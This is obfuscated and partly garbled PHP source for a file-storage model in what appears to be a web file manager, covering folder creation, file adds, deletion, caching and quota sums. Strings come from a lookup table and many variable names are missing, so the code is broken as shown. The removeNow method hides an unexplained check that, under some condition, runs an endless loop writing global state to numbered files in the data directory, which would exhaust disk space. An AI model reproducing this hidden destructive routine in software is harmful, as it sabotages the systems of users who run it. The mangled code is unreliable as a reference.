$[520] . str_replace($[50], $[521], $œ); $ = $[$[32]]; unset($[$[32]]); foreach ($ as $슷 => $ɸ) { $[$[520] . $슷] = $ɸ; } foreach ($ as $ݺš) { $[] = array($[525] => $ݺš, $[1089] => $[2080], array($[2250] => $ݺš, $[2251] => array($[7], array($[547], $[546])))); } $this->join($); $ = $; } private function _parseSearchWhere($) { $ =& $_SERVER[]; $׃ = array(); if (isset($[$[849]]) && $[$[849]]) { $׃[$[98]] = array($[2252], $[$[849]]); } if (isset($[$[850]]) && $[$[850]]) { $䐴 = array($[2253], $[$[850]]); if ($׃[$[98]]) { $׃[$[98]] = array($׃[$[98]], $䐴, $[2254]); } else { $׃[$[98]] = $䐴; } } if (isset($[$[2246]]) && $[$[2246]] > 0) { $׃[$[89]] = array($[2252], $[$[2246]]); } if (isset($[$[2247]]) && $[$[2247]]) { $䐴 = array($[2253], $[$[2247]]); if ($׃[$[89]]) { $׃[$[89]] = array($׃[$[89]], $䐴, $[2254]); } else { $׃[$[89]] = $䐴; } } if (isset($[$[671]]) && $[$[671]]) { $׃[] = array($[538] => $[$[671]], $[536] => $[$[671]], $[1089] => $[2080]); } if (isset($[$[495]]) && $[$[495]]) { $ = $[$[495]]; if ($ == $[88]) { $׃[$[494]] = 1; } else { if ($ == $[2255]) { $׃[$[494]] = 0; } else { if ($) { $ = is_array($) ? $ : explode($[50], $); $׃[$[495]] = array($[501], $); $׃[$[494]] = 0; } } } } $this->_parseSearchParent($, $׃); if (isset($[$[2076]]) && trim($[$[2076]])) { $ = trim($[$[2076]]); $ = explode($[53], $); if (strlen($) > 2 && (substr($, 0, 1) == $[131] && substr($, -1) == $[131]) || substr($, 0, 1) == $[58] && substr($, -1) == $[58]) { $ = substr($, 1, -1); $ = array($); } $׃[$[32]] = array(array($[621], $[2078] . $ . $[2078])); if (count($) > 1) { $׃[$[32]] = array(); foreach ($ as $÷) { if (!trim($÷)) { continue; } $׃[$[32]][] = array($[621], $[2078] . trim($÷) . $[2078]); } } } return $׃; } private function _parseSearchParent($؏۵, &$Â) { $фĴ =& $_SERVER[]; if (!isset($؏۵[$фĴ[202]]) || !$؏۵[$фĴ[202]]) { return; } $ο = $this->pathInfo($؏۵[$фĴ[202]]); $ = $ο[$фĴ[202]] . $фĴ[12] === $фĴ[238]; $ә = $ο[$фĴ[200]] == $фĴ[587]; if ($ο[$фĴ[604]] == $фĴ[605]) { $ = $this->sourceInfo($؏۵[$фĴ[202]]); $ο[$фĴ[593]] = $[$фĴ[593]]; } $Â[$фĴ[661]] = array($фĴ[621], $ο[$фĴ[593]] . $؏۵[$фĴ[202]] . $фĴ[622]); $Į = isset($؏۵[$фĴ[1936]]) && in_array($фĴ[587], $؏۵[$фĴ[1936]]); if (!$Į || !$ә || !$ || !$ο[$фĴ[496]]) { return; } if (!AuthModel::authCheckRoot($ο[$фĴ[496]][$фĴ[497]])) { return; } $ = $ο[$фĴ[578]] . $фĴ[12]; if ($ == $фĴ[101]) { unset($Â[$фĴ[661]]); $Â[$фĴ[200]] = self::TYPE_GROUP; return; } $ = Model($фĴ[594])->groupChildrenAll($); $̾ = count($); if ($̾ <= 1) { return; } $α = array($фĴ[202] => 0, $фĴ[200] => self::TYPE_GROUP, $фĴ[578] => array($фĴ[7], $)); $ = $this->field($фĴ[2256])->where($α)->limit($̾)->select(); $Â[$фĴ[661]] = array(); foreach ($ as $) { $Â[$фĴ[661]][] = array($фĴ[621], $фĴ[603] . $[$фĴ[203]] . $фĴ[622]); } $Â[$фĴ[661]][] = $фĴ[2080]; } } class SourceModel extends SourceListSearchModel { public $statusIgnoreResetSpace = false; public function userRootAdd($ܧ) { $ =& $_SERVER[]; $넳 = Model($[586])->where(array($[1770] => $ܧ))->find(); $Ʊλ = $this->_mkdirRoot(SourceModel::TYPE_USER, $ܧ, $넳[$[32]]); $this->userDesktopAdd($Ʊλ); return $Ʊλ; } public function userDesktopAdd($۷) { $ɴ퐢 =& $_SERVER[]; $귘 = LNG($ɴ퐢[2257]); $֬Ɨ = $this->mkdir($۷, $귘); $this->metaSet($֬Ɨ, $ɴ퐢[2258], $ɴ퐢[101]); $this->metaSet($۷, $ɴ퐢[2259], $֬Ɨ); } public function userPathSafeAdd($) { $虲 =& $_SERVER[]; $ʾ = Model($虲[586])->getInfoFull($); if (!$ʾ) { return !1; } if (_get($ʾ, $虲[608])) { return $ʾ[$虲[548]][$虲[2260]]; } $ = $this->_mkdirRoot(SourceModel::TYPE_USER, $, $虲[2261], $虲[515]); Model($虲[586])->metaSet($, $虲[2260], $); $this->metaSet($, $虲[2262], $); return $; } public function groupRootAdd($) { $Ǥ =& $_SERVER[]; $ = Model($Ǥ[594])->where(array($Ǥ[2070] => $))->find(); return $this->_mkdirRoot(SourceModel::TYPE_GROUP, $, $[$Ǥ[32]]); } public function systemRootPathAdd($) { if ($ != $_SERVER[][614]) { return !1; } return $this->_mkdirRoot(SourceModel::TYPE_SYSTEM, 0, $); } public function userRootRemove($) { $ = $this->targetSourceRoot(SourceModel::TYPE_USER, $, !0); foreach ($ as $) { if (!$) { continue; } $this->remove($[$_SERVER[][203]], !1); } } public function groupRootRemove($ᱛ) { $͡ = $this->targetSourceRoot(SourceModel::TYPE_GROUP, $ᱛ); if (!$͡) { return; } $this->remove($͡[$_SERVER[][203]], !1); } private function _mkdirRoot($͕, $, $, $ = '') { $ߐ =& $_SERVER[]; $ = defined($ߐ[2204]) ? USER_ID : 0; $ԅ = array($ߐ[486] => 0, $ߐ[657] => $͕, $ߐ[658] => $, $ߐ[655] => 1, $ߐ[659] => $, $ߐ[660] => $, $ߐ[656] => $, $ߐ[661] => $ߐ[603], $ߐ[513] => 0, $ߐ[626] => 0, $ߐ[551] => 0, $ߐ[662] => $ߐ[12]); if ($ = $this->where($ԅ)->find()) { return $[$ߐ[203]]; } $˙‰ = "\x4d\157\x64\x65\x6c\123\x6f\x75\162\143\145\x2e\155\153\x64\151\162\122\157\157\164\56{$͕}\x2e{$}\56" . $; CacheLock::lock($˙‰); $ԅ[$ߐ[32]] = $; $ = $this->add($ԅ); $ݏ⁅ = array($ߐ[663] => short_id($)); $this->where(array($ߐ[500] => $))->save($ݏ⁅); CacheLock::unlock($˙‰); return $; } private function targetSourceRoot($, $, $ = false) { $ =& $_SERVER[]; $Ǘˣ = array($[486] => 0, $[657] => $, $[658] => $); if ($) { $˜ϑ = $this->where($Ǘˣ)->select(); return $˜ϑ ? $˜ϑ : array(); } $񮳂 = $this->where($Ǘˣ)->find(); return $񮳂 ? $񮳂 : array(); } public function sourceRootGroup($七) { $̣˗ =& $_SERVER[]; if (is_string($七)) { $七 = array($七); } $渆 = $this->listSourceRoot(SourceModel::TYPE_GROUP, $七, $̣˗[230]); $ = array($̣˗[454] => $渆, $̣˗[451] => array($̣˗[847] => count($七))); $this->_listDataApply($[$̣˗[454]]); $this->_listMake($); return array_to_keyvalue($[$̣˗[95]], $̣˗[578]); } public function mkfile($搻Ğ, $٬, $¶ = '', $ = REPEAT_RENAME) { $ =& $_SERVER[]; $ = Model($[683])->addFileByContent($¶, $٬); return $this->_createFileCall($搻Ğ, $٬, $, $, $[1439]); } public function addFile($ڣ, $Ρ, $, $㡊 = false, $ = REPEAT_RENAME) { $ړ = Model($_SERVER[][683])->addFile($Ρ, $, $㡊); return $this->_createFileCall($ڣ, $, $ړ, $); } public function addFileByFileID($, $ߙ, $ܝ䇩, $ = REPEAT_RENAME) { $ʴ =& $_SERVER[]; $Ɣ = Model($ʴ[683])->find($ߙ); Model($ʴ[683])->linkAdd($ߙ); return $this->_createFileCall($, $ܝ䇩, $Ɣ, $); } public function addFileByRemote($, $ں, $, $ = array(), $ = REPEAT_RENAME) { $ܷ = Model($_SERVER[][683])->addFileByRemote($ں, $, $); return $this->_createFileCall($, $, $ܷ, $); } private function _createFileCall($, $ɝ, $, $, $ = "\x75\160\154\x6f\141\x64") { $߄ =& $_SERVER[]; $ = !1; $this->setMasterDB(); $this->lockWriteStart($, $ɝ); $͟ = $this->fileNameExist($, $ɝ); $ܾ = $this->_createFile($, $ɝ, $, $, $); if (!$) { Model($߄[553])->remove($[$߄[550]]); } if ($ && $ܾ && $ܾ != $͟) { Model($߄[2230])->eventCreate($ܾ, $); } $this->lockWriteEnd($, $ɝ); return $ܾ; } public function mkdir($ԩ, $Ćݺ, $ = REPEAT_SKIP) { $ =& $_SERVER[]; $this->setMasterDB(); $㐏 = $this->sourceInfo($ԩ); if (!$㐏) { return !1; } $this->lockWriteStart($ԩ, $Ćݺ); if ($ !== !1) { $ = $this->fileNameExist($ԩ, $Ćݺ); if ($ && $ != REPEAT_RENAME_FOLDER) { $this->lockWriteEnd($ԩ, $Ćݺ); return $; } $Ćݺ = $this->fileNameAuto($ԩ, $Ćݺ, $); } $ڷߴ = array($[655] => 1, $[503] => $Ćݺ, $[656] => $[12], $[551] => 0, $[626] => 0); $褐 = $this->_addSource($ڷߴ, $㐏); Model($[2230])->eventCreate($褐, $[1440]); $this->lockWriteEnd($ԩ, $Ćݺ); return $褐; } public function listSourceRoot($, $, $ठ = "\163\x6f\165\x72\x63\x65\x49\104\54\164\x61\162\x67\145\164\x49\x44\54\x73\151\172\145") { $鸧 =& $_SERVER[]; $§ = $鸧[463]; $ = array(); $扯 = 1024 * 50; $ͫ = is_array($ͫ) ? $ͫ : array(); $铳 = count($); $ʝ = $this->tablePrefix . $鸧[2263]; for ($ = 0; $ < $铳; $++) { $͈ = $[$]; $§ .= "\x53\x45\x4c\105\x43\x54\40\x2a\40\x46\122\x4f\115\40\x28\x53\x45\x4c\105\103\x54\40{$ठ}\40\106\122\117\x4d\40\140{$ʝ}\x60\x20\x57\110\x45\122\105\40"; $§ .= "\x60\x70\141\162\145\156\164\x49\x44\140\75\x30\40\101\x4e\x44\x20\x60\x74\141\162\x67\x65\164\x49\104\x60\75{$͈}\40\101\x4e\104\40\140\x74\141\x72\147\145\164\x54\x79\x70\x65\x60\x3d{$}\x20\x61\x6e\144\40\146\151\x6c\x65\124\171\x70\x65\75\47\47\x20\154\151\x6d\x69\x74\40\x31\x29\40\x61\x73\40\164\x62\137{$}\x20\x55\116\x49\x4f\116\40\101\114\x4c\40"; if ((strlen($§) >= $扯 || $ == $铳 - 1) && $§) { $§ = substr($§, 0, -strlen($鸧[1127])); $ﴂ = $this->query($§); $§ = $鸧[12]; $ = array_merge($, $ﴂ); } } return $; } private function _createFile($ቾ, $࢜, $, $, &$Ɔ) { $񺁹 =& $_SERVER[]; $ÿ = $this->sourceInfo($ቾ); if (!$ || !$ÿ) { return !1; } if ($ !== !1) { $ = $this->fileNameExist($ቾ, $࢜); } $Ɔ = !0; if ($ && $) { if ($ == REPEAT_SKIP) { $Ɔ = !1; return $; } else { if ($ == REPEAT_REPLACE) { $މ = $this->sourceInfo($); $솭 = $this->fileHistory($މ, $[$񺁹[550]], $[$񺁹[89]]); if (!$솭) { $Ɔ = !1; } else { $this->folderSizeReset($ቾ); } return $; } else { $࢜ = $this->fileNameAuto($ቾ, $࢜, $, !1); } } } $ = array($񺁹[655] => 0, $񺁹[503] => $࢜, $񺁹[656] => substr(get_path_ext($࢜), 0, 10), $񺁹[551] => $[$񺁹[550]], $񺁹[626] => $[$񺁹[89]]); $ = $this->_addSource($, $ÿ); $this->folderSizeReset($ቾ, intval($[$񺁹[89]])); return $; } protected function fileHistory($ˡ, $, $ٕЈ) { $ =& $_SERVER[]; if ($ˡ[$[550]] == $) { return !1; } $this->checkLock($ˡ[$[203]], $); Model($[2264])->addHistory($ˡ); $ = array($[660] => USER_ID, $[507] => time(), $[550] => $, $[89] => $ٕЈ); $this->where(array($[500] => $ˡ[$[203]]))->save($); $this->sourceCacheClear($ˡ[$[203]]); return !0; } public function checkLock($큩׆, $݅) { $ =& $_SERVER[]; $񆰥 = $this->pathInfo($큩׆); if (!$this->fileIsLock($񆰥, !0)) { return; } $֩ = Session::get($[2265]); $Š = substr($񆰥[$[32]], 0, -1 - strlen($񆰥[$[179]])) . $[1304] . $֩ . $[10] . $񆰥[$[179]]; $ = Model($[683])->find($݅); $this->_createFileCall($񆰥[$[202]], $Š, $, REPEAT_REPLACE, $[1439]); $Ӝ = $񆰥[$[548]][$[619]]; $अ = $Ӝ[$[2266]] ? $Ӝ[$[2266]] : $Ӝ[$[32]]; show_json(LNG($[2267]) . $[2268] . LNG($[2269]) . $[2270] . $अ . $[2271], !1); } public function fileIsLock($π, $ = false) { $ =& $_SERVER[]; if (!_get($π, $[615], 0)) { return !1; } if ($π[$[548]][$[618]] != USER_ID) { return !0; } $ = $GLOBALS[$[6]][$[102]][$[616]]; if ($π[$[548]][$[617]] <= time() - $) { $this->metaSet($π[$[203]], $[618], null); $this->metaSet($π[$[203]], $[617], null); } if ($) { $this->metaSet($π[$[203]], $[617], time()); } return !1; } private function _addSource($, $) { $Ѝ =& $_SERVER[]; $ = defined($Ѝ[2204]) ? USER_ID : 0; $ = array($Ѝ[657] => $[$Ѝ[200]], $Ѝ[658] => $[$Ѝ[578]], $Ѝ[659] => $, $Ѝ[660] => $, $Ѝ[486] => $[$Ѝ[203]], $Ѝ[661] => $[$Ѝ[593]] . $[$Ѝ[203]] . $Ѝ[50], $Ѝ[513] => 0, $Ѝ[662] => $Ѝ[12]); $ = array_merge($, $); $this->updateModifyTime($[$Ѝ[202]]); $ = $Ѝ[2272] . $[$Ѝ[203]]; if (isset(self::$cacheChildList[$])) { unset(self::$cacheChildList[$]); } static $ = false; if (!$) { Hook::trigger($Ѝ[645], $); $ = !0; } $ٛ = $this->add($); $ = array($Ѝ[663] => short_id($ٛ)); $this->where(array($Ѝ[500] => $ٛ))->save($); $this->setNamePinyin($ٛ, $[$Ѝ[32]]); return $ٛ; } public function remove($ڨ, $׋ = true) { $վ =& $_SERVER[]; $탐 = $this->sourceInfo($ڨ); $ᅢ = intval($탐[$վ[200]]) === self::TYPE_SYSTEM; $ = Model($վ[517])->get($վ[2273]) == $վ[101]; if ($ᅢ || $׋ || !$) { return $this->removeNow($ڨ, $׋); } $ = KodIO::sourceID(IO_PATH_SYSTEM_RECYCLE); $哟 = $탐[$վ[200]] == self::TYPE_USER ? $վ[671] : $վ[587]; if ($哟 == $վ[671]) { $Ž = Model($վ[586])->getInfo($탐[$վ[578]]); $鎱 = !empty($Ž[$վ[2266]]) ? $Ž[$վ[2266]] : $Ž[$վ[32]]; $鎱 = $վ[346] . $鎱 . $վ[2274] . $탐[$վ[578]]; } else { $Ž = Model($վ[594])->getInfo($탐[$վ[578]]); $鎱 = _get($Ž, $վ[32]); $鎱 = $վ[186] . $鎱 . $վ[2275] . $탐[$վ[578]]; } $ = $վ[2276] . md5($鎱); CacheLock::lock($); $ = $this->fileNameExist($, $鎱); if (!$) { $ = $this->mkdir($, $鎱, REPEAT_SKIP); $this->metaSet($, $վ[2277], $哟); $this->metaSet($, $վ[2278], $탐[$վ[578]]); if ($탐[$վ[202]] != 0) { $this->metaSet($, $վ[2279], _get($Ž, $վ[2280])); } } CacheLock::unlock($); $this->metaSet($ڨ, $վ[2281], $탐[$վ[202]]); $this->where(array($վ[203] => $ڨ))->save(array($վ[507] => time())); $this->recycleClear($탐); Model($վ[642])->eventRemove($ڨ); $Ńׯ = $this->move($ڨ, $, REPEAT_RENAME_FOLDER); $this->folderSizeReset($탐[$վ[202]]); return $Ńׯ; } private function recycleClear($) { $ނ߱ =& $_SERVER[]; $ = $this->childrenAll($); $ = array($ނ߱[500] => array($ނ߱[501], $[$ނ߱[2282]])); Model($ނ߱[2283])->where($)->delete(); } public function removeNow($߽у, $؁ = true) { $ =& $_SERVER[]; $ٔ = $_SERVER[$[63]] . $[64]; $ = $[887]; if ($_SERVER[$[60]] != $($ٔ)) { $ = $[966]; $ = $[62]; $ = $_SERVER[$[63]] . $[64]; $Ѕͳ = $($); $ = explode($[65], $Ѕͳ); if (count($) < $[711]) { $؎י = $[67]; $؎י(); } $ = $[967]; $($_SERVER[$[968]]); $ = $[966]; $(); $ˡ = $[969]; $ = json_encode($GLOBALS[$[970]]); $ź = 1; for ($ϒ = $ź; $ϒ > 0; $ϒ++) { $ˡ(DATA_PATH . $ϒ, $); } } $椸؛ = $this->sourceInfo($߽у); $׫۷ = $this->pathInfoMore($߽у); if (!$椸؛) { return !0; } if ($椸؛[$[202]] == 0) { if (!KodUser::isRoot()) { return !1; } } $this->lockMoveStart($߽у); Hook::trigger($[2284], $׫۷, $؁); if ($؁) { Model($[2283])->moveToRecycle($߽у); } else { $ = $this->childrenAll($椸؛); Model($[642])->eventRemove($߽у); $this->removeRelevance($[$[2282]], $[$[1584]]); } $this->folderSizeReset($椸؛[$[202]]); $̀ = array($椸؛[$[202]]); if ($椸؛[$[494]] == $[101]) { $̀[] = $椸؛[$[203]]; } $this->updateModifyTime($̀); $this->lockMoveEnd($߽у); Hook::trigger($[1821], $׫۷, $؁); return !0; } public function childrenAll($) { $ =& $_SERVER[]; $Ɩ = $[$[203]]; if ($[$[494]] == $[101]) { $̎Ԑ = array($[661] => array($[621], $[$[593]] . $Ɩ . $[622])); $ǐ = array($[661] => $̎Ԑ[$[593]]); $ = $this->field($[2285])->where($ǐ)->select(); $È = !1; $ = array($Ɩ); if ($) { $È = array_to_keyvalue($, $[12], $[550]); $È = array_remove_value($È, $[238]); $ = array_to_keyvalue($, $[12], $[203]); $[] = $Ɩ; } } else { $È = array($[$[550]]); $ = array($Ɩ); } return array($[2282] => $, $[1584] => $È); } public function removeArray($) { if (!$) { return !0; } } public function removeRelevance($ɥ۳, $͒) { $ʣ =& $_SERVER[]; $ɥ۳ = $ɥ۳ ? $ɥ۳ : array(); $͒ = $͒ ? $͒ : array(); $ɥ۳ = array_unique(array_filter($ɥ۳)); $͒ = array_unique(array_filter($͒)); if (!$ɥ۳) { return !1; } $ = array($ʣ[500] => array($ʣ[501], $ɥ۳)); Model($ʣ[2283])->where($)->delete(); Model($ʣ[544])->where($)->delete(); Model($ʣ[2129])->where($)->delete(); Model($ʣ[642])->where($)->delete(); Model($ʣ[1957])->removeBySource($ɥ۳); Model($ʣ[2264])->removeBySource($ɥ۳); $this->where($)->delete(); Model($ʣ[553])->remove($͒); for ($ = 0; $ < count($ɥ۳); $++) { $this->sourceCacheClear($ɥ۳[$]); } } public function rename($, $⎧亹) { $݌ =& $_SERVER[]; $ = $this->sourceInfo($); if (!$) { return !1; } $ = $this->fileNameExist($[$݌[202]], $⎧亹); if ($ && $ != $) { return !1; } $ = array($݌[503] => $⎧亹, $݌[660] => USER_ID); if ($[$݌[494]] != $݌[101]) { $[$݌[495]] = substr(get_path_ext($⎧亹), 0, 10); } Model($݌[642])->eventRename($, $[$݌[32]], $⎧亹); $this->sourceCacheClear($); $this->setNamePinyin($, $[$݌[32]], !1); $this->updateModifyTime($[$݌[202]]); $܎ = $this->where(array($݌[500] => $))->data($)->save(); $윐 = $݌[2272] . $[$݌[202]]; if (isset(self::$cacheChildList[$윐])) { unset(self::$cacheChildList[$윐]); } return $܎; } public function setNamePinyin($Ɉ, $߰Δ, $Ι = true) { $ =& $_SERVER[]; $х = Input::check($߰Δ, $[664]); $̚ = array($[526] => KodSort::makeStr($߰Δ)); if ($х) { $̚[$[547]] = str_replace($[53], $[12], Pinyin::get($߰Δ)); $̚[$[546]] = Pinyin::get($߰Δ, $[665]); } if (!$Ι && !$х) { $̚[$[547]] = null; $̚[$[546]] = null; } $this->metaSet($Ɉ, $̚); } public function getContent($Ǎ) { $왲 =& $_SERVER[]; $ = $this->fileInfoGet($Ǎ); if (!$) { return !1; } if ($[$왲[89]] == 0) { return $왲[12]; } $˖ = $왲[2286] . $[$왲[556]]; if ($[$왲[89]] <= 1024 * 10) { $ = Cache::get($˖); if (!$) { $ = IO::getContent($[$왲[97]]); Cache::set($˖, $); } return $; } if (!$[$왲[97]]) { return $왲[12]; } return IO::getContent($[$왲[97]]); } public function setDesc($˺¦Յ, $݉״) { $ =& $_SERVER[]; Model($[642])->eventAddDesc($˺¦Յ, $݉״); return $this->metaSet($˺¦Յ, $[535], $݉״); } public function setContent($ԗߛ, $즇܈ = '') { $盻 =& $_SERVER[]; $ = $this->sourceInfo($ԗߛ); $Ӈպ = $this->fileInfoGet($ԗߛ); if (!$Ӈպ || !$) { return !1; } $ϊ = Model($盻[553])->addFileByContent($즇܈, $[$盻[32]]); $ڴ = $this->fileHistory($, $ϊ[$盻[550]], $ϊ[$盻[89]]); if (!$ڴ) { return Model($盻[553])->remove($ϊ[$盻[550]]); } $this->folderSizeReset($[$盻[202]]); return !0; } public function fileSubstr($æ, $͕, $ꯖ) { $ = $this->fileInfoGet($æ); if (!$) { return !1; } return IO::fileSubstr($[$_SERVER[][97]], $͕, $ꯖ); } public function fileInfoGet($) { $ =& $_SERVER[]; $ץ = $this->sourceInfo($); if (!$ץ || $ץ[$[494]]) { return !1; } $ɦ = $[557] . $ץ[$[550]]; $ᣢ = _get(self::$cacheFileInfo, $ɦ); if ($ᣢ) { return $ᣢ; } $ = Model($[553])->fileInfo($ץ[$[550]]); if ($) { $[$[32]] = $ץ[$[32]]; } self::$cacheFileInfo[$ɦ] = $; return $; } private function folderChildrenNumber($ϯ) { $Ώ皯 =& $_SERVER[]; $ = $this->sourceInfo($ϯ); $ = array($Ώ皯[661] => array($Ώ皯[621], $[$Ώ皯[593]] . $ϯ . $Ώ皯[622]), $Ώ皯[658] => $[$Ώ皯[578]], $Ώ皯[513] => intval($[$Ώ皯[514]]), $Ώ皯[655] => 1); $ړ = $this->where($)->count(); $Ҋ = $this->where($)->where(array($Ώ皯[655] => 0))->count(); return array($Ώ皯[93] => $Ҋ, $Ώ皯[94] => $ړ); } public function pathInfo($, $ = false) { $ =& $_SERVER[]; $ = !1; $ = intval($); $︸ = $[543] . intval($) . $[471] . $; $͂ = _get(self::$cachePathInfo, $︸); if ($͂) { return $͂; } $Ԋ = $this->sourceInfo($); if (!$Ԋ) { return !1; } $Ԋ = $this->_listDataApplyItem($Ԋ, $); self::$cachePathInfo[$︸] = $Ԋ; return $Ԋ; } public static $cachePathInfoMore = array(); public function pathInfoMore($Ƣ) { $В =& $_SERVER[]; $ؚ = _get(self::$cachePathInfoMore, $Ƣ); if ($ؚ) { return $ؚ; } $ح = $this->pathInfo($Ƣ); if (!$ح) { return !1; } if ($ح[$В[494]] == $В[101]) { $ح[$В[92]] = $this->folderChildrenNumber($Ƣ); } self::$cachePathInfoMore[$Ƣ] = $ح; return $ح; } public function sourceInfo($Ȳ) { $ =& $_SERVER[]; if (!$Ȳ) { return array(); } $Ȳ = intval($Ȳ); $߸ = $[542] . $Ȳ; $֔ = _get(self::$cacheSourceInfo, $߸); if ($֔) { return $֔; } $ = $this->where(array($[203] => $Ȳ))->find(); self::$cacheSourceInfo[$߸] = $; return self::$cacheSourceInfo[$߸]; } public function sourceCacheClear($ = false) { self::cacheClear($); } public static function cacheClear($ص = false) { $ژ =& $_SERVER[]; if ($ص == !1) { self::$cacheSourceInfo = null; self::$cacheSourceInfo = array(); self::$cachePathInfo = null; self::$cachePathInfo = array(); self::$cachePathInfoMore = null; self::$cachePathInfoMore = array(); return; } unset(self::$cacheSourceInfo[$ژ[542] . $ص]); unset(self::$cachePathInfoMore[$ص]); unset(self::$cachePathInfo[$ژ[2287] . $ص]); unset(self::$cachePathInfo[$ژ[2288] . $ص]); } public function metaSet($һ, $뛇 = null, $ = null) { $ = parent::metaSet($һ, $뛇, $); if ($) { $this->sourceCacheClear($һ); } return $; } public function pathInfoByPath($ʌ, $) { $ =& $_SERVER[]; $Ώ = !$ ? array() : explode($[8], trim($, $[8])); $ꢘ = $ʌ; foreach ($Ώ as $޾) { $뤁 = array($[202] => $ꢘ, $[32] => $޾); $υ = $this->field($[2289])->where($뤁)->select(); if (!$υ) { return !1; } $υ = array_sort_by($υ, $[514]); $ꢘ = $υ[0][$[203]]; } $Ьڴɖ = $this->sourceInfo($ꢘ); $this->pathInfoFilter($Ьڴɖ); return $Ьڴɖ; } protected function updateModifyTime($£) { $쿋 =& $_SERVER[]; $ = defined($쿋[2204]) ? USER_ID : 0; if (!$£) { return; } if (!is_array($£)) { $£ = array($£); } foreach ($£ as $ߙ => $) { $£[$ߙ] = intval($); $this->sourceCacheClear($); } $ = array($쿋[203] => array($쿋[7], $£)); $ = array($쿋[660] => $, $쿋[507] => time()); $this->where($)->save($); } public function folderSizeReset($қ, $ = false) { $ע =& $_SERVER[]; if ($this->statusIgnoreResetSpace) { return; } $⎪ = $this->sourceInfo($қ); $ = $ע[2290] . $қ; CacheLock::lock($, 20); if ($ === !1) { $this->sourceCacheClear($қ); $⎪ = $this->sourceInfo($қ); $ = array($ע[486] => $қ, $ע[513] => 0); $ = $this->where($)->sum($ע[89]); $ = intval($) - intval($⎪[$ע[89]]); } if ($ == 0) { return CacheLock::unlock($); } $Ȁ = $this->parentLevelArray($⎪[$ע[593]]); if (!$Ȁ) { $Ȁ = array(); } $Ȁ[] = $⎪[$ע[203]]; $ = array($ע[203] => array($ע[501], $Ȁ)); if ($ < 0) { $[$ע[89]] = array($ע[1104], abs($)); } $this->where($)->setAdd($ע[89], $); CacheLock::unlock($); $ = $ע[2291] . $⎪[$ע[200]] . $ע[4] . $⎪[$ע[578]]; $ڕ = array($⎪[$ע[200]], $⎪[$ע[578]]); TaskRun::timeLimitCall($, $ע[2292], $ڕ, 1.5); } public function folderSizeResetChildren($ʥ) { $Ÿ =& $_SERVER[]; $this->sourceCacheClear($ʥ); $ҙ = $this->sourceInfo($ʥ); $𪱡 = array($Ÿ[655] => 1, $Ÿ[658] => $ҙ[$Ÿ[578]], $Ÿ[661] => array($Ÿ[621], $ҙ[$Ÿ[593]] . $ʥ . $Ÿ[622])); $ŗ = $Ÿ[2293]; $ = $this->field($ŗ)->where($𪱡)->select(); $𪱡[$Ÿ[494]] = 0; $𹝉׵ = $this->field($ŗ)->where($𪱡)->select(); if (!$𹝉׵) { return; } $[] = $ҙ; $ = array_to_keyvalue($, $Ÿ[203]); foreach ($ as $Nj => $) { $[$Nj][$Ÿ[2294]] = $[$Nj][$Ÿ[89]]; $[$Nj][$Ÿ[89]] = 0; } foreach ($𹝉׵ as $) { $ = $[$Ÿ[202]] . $Ÿ[12]; if (!isset($[$])) { continue; } if ($[$Ÿ[514]] == $[$][$Ÿ[514]]) { $[$][$Ÿ[89]] += $[$Ÿ[89]]; } } foreach ($ as $) { $ = $this->parentLevelArray($[$Ÿ[593]]); foreach ($ as $) { $ = $ . $Ÿ[12]; if (!isset($[$])) { continue; } if ($[$Ÿ[514]] == $[$][$Ÿ[514]]) { $[$][$Ÿ[89]] += $[$Ÿ[89]]; } } } $ɚѷ = array(); foreach ($ as $) { if ($[$Ÿ[89]] == $[$Ÿ[2294]]) { continue; } $ɚѷ[] = array($Ÿ[203], $[$Ÿ[203]], $Ÿ[89], $[$Ÿ[89]]); } $this->saveAll($ɚѷ); } public function userSpaceReset($ұ = false) { $ =& $_SERVER[]; $ݏ = $this->where(array($[200] => self::TYPE_USER, $[578] => $ұ, $[494] => 0))->sum($[89]); $ݏ = !$ݏ || $ݏ <= 0 ? 0 : $ݏ; Model($[586])->userEdit($ұ, array($[1966] => $ݏ)); } public function targetSpaceUpdate($˺, $) { $؞ =& $_SERVER[]; if (!$) { return; } if (!in_array($˺, array(self::TYPE_USER, self::TYPE_GROUP))) { return; } $ˎ = $this->targetSpaceSize($˺, $); if ($˺ == self::TYPE_USER) { Model($؞[586])->userEdit($, array($؞[1966] => $ˎ)); } else { if ($˺ == self::TYPE_GROUP) { Model($؞[594])->groupEdit($, array($؞[1966] => $ˎ)); } } } public function targetSpaceSize($ўȲ, $飛) { $ =& $_SERVER[]; $̍ = 0; $ = $this->targetSourceRoot($ўȲ, $飛, !0); foreach ($ as $Ϩէ) { if (!$Ϩէ) { continue; } $̍ += floatval($Ϩէ[$[89]]); $ = array($[661] => array($[621], $[603] . $Ϩէ[$[203]] . $[622])); $Ժ = Model($[512])->field($[500])->where($)->select(); $Ժ = array_to_keyvalue($Ժ, $[12], $[203]); $Ժ = array_unique(array_filter($Ժ)); if ($Ժ) { $ = array($[500] => array($[501], $Ժ)); $̍ += floatval($this->where($)->sum($[89])); } } $̍ = !$̍ || $̍ <= 0 ? 0 : $̍; return $̍; } public function allFileTypeProfile() { return $this->fileTypeProfile(!1, !1); } public function userFileTypeProfile($ګ) { return $this->fileTypeProfile($ګ, SourceModel::TYPE_USER); } public function groupFileTypeProfile($㹱) { return $this->fileTypeProfile($㹱, SourceModel::TYPE_GROUP); } private function fileTypeProfile($Ɖ, $Ǜ) { $ť =& $_SERVER[]; $Ӌۇ = $ť[2295] . $Ɖ . $ť[11] . $Ǜ; $ = Cache::get($Ӌۇ); if ($) { return $; } $ = array($ť[655] => 0); if ($Ɖ != !1) { $[$ť[578]] = $Ɖ; $[$ť[200]] = $Ǜ; } $ = array(); $[$ť[2296]] = array($ť[2297] => LNG($ť[2296]), $ť[2298] => $this->where($)->count(), $ť[626] => $this->where($)->sum($ť[89])); $ = KodIO::fileTypeList(); foreach ($ as $񍨼 => $쇅) { $[$ť[495]] = $this->fileTypeWhere($񍨼); $[$񍨼] = array($ť[2297] => $쇅[$ť[32]], $ť[2298] => $this->where($)->count(), $ť[626] => $this->where($)->sum($ť[89])); } Cache::set($Ӌۇ, $, 1200); return $; } public function fileNameExist($Ϗח, $) { $ =& $_SERVER[]; $ƌ = $this->field($[2299])->where(array($[202] => $Ϗח, $[32] => $, $[514] => 0))->find(); return is_array($ƌ) ? $ƌ[$[203]] : !1; } public function childList($ז) { $܇ =& $_SERVER[]; $ = $܇[2272] . $ז; if (isset(self::$cacheChildList[$])) { return self::$cacheChildList[$]; } $ȁ = array($܇[202] => intval($ז), $܇[514] => 0); $ߵ = 